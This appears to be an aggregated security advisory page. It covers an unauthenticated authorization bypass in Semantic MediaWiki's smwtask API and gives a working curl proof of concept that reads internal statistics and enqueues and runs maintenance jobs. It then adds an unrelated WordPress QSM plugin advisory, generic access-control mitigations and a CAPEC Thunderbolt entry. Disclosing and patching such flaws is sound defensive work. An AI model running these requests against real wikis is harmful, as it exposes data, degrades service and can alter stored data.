Vulnerability from github – Published: 2026-09-18 16:59 – Updated: 2026-09-18 16:59Summary
The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.
Details
SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.
The only gates on the module are:
needsToken( 'csrf' )— this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.mustBePosted()/isWriteMode()— do not gate on group membership.
By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.
Tasks reachable anonymously through the module include:
table-statistics,duplicate-lookup— return internal store statistics and enumerate the internal object-ID space (intended to be behindSpecial:SMWAdmin→ Supplementary functions).insert-job— enqueues any Semantic MediaWiki job type (includingsmw.fulltextSearchTableRebuild,smw.propertyStatisticsRebuild,smw.entityIdDisposer) for an arbitrary title.update,check-query,run-joblist— run update jobs and#askqueries synchronously within the request;run-joblistpops and executes queued jobs inline.
Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.
Proof of concept
On a default installation, as an unauthenticated visitor:
# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
# -> {"query":{"tokens":{"csrftoken":"+\\"}}}
# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json' \
'https://HOST/api.php'
# -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...
# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":""}} (job now present in the queue)
# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}
Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).
Impact
An unauthenticated attacker can:
- Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
- Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs,
#askqueries, and queued jobs, degrading wiki performance. - Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.
Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.
Affected versions
All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.
Mitigation
Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:
$wgExtensionFunctions[] = static function () {
unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Vulnerability from github – Published: 2026-06-27 09:30 – Updated: 2026-06-27 09:30The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 11.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to create, modify, and delete quiz output templates stored in the mlw_quiz_output_templates database table, including storing unsanitized HTML content such as arbitrary script tags.

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
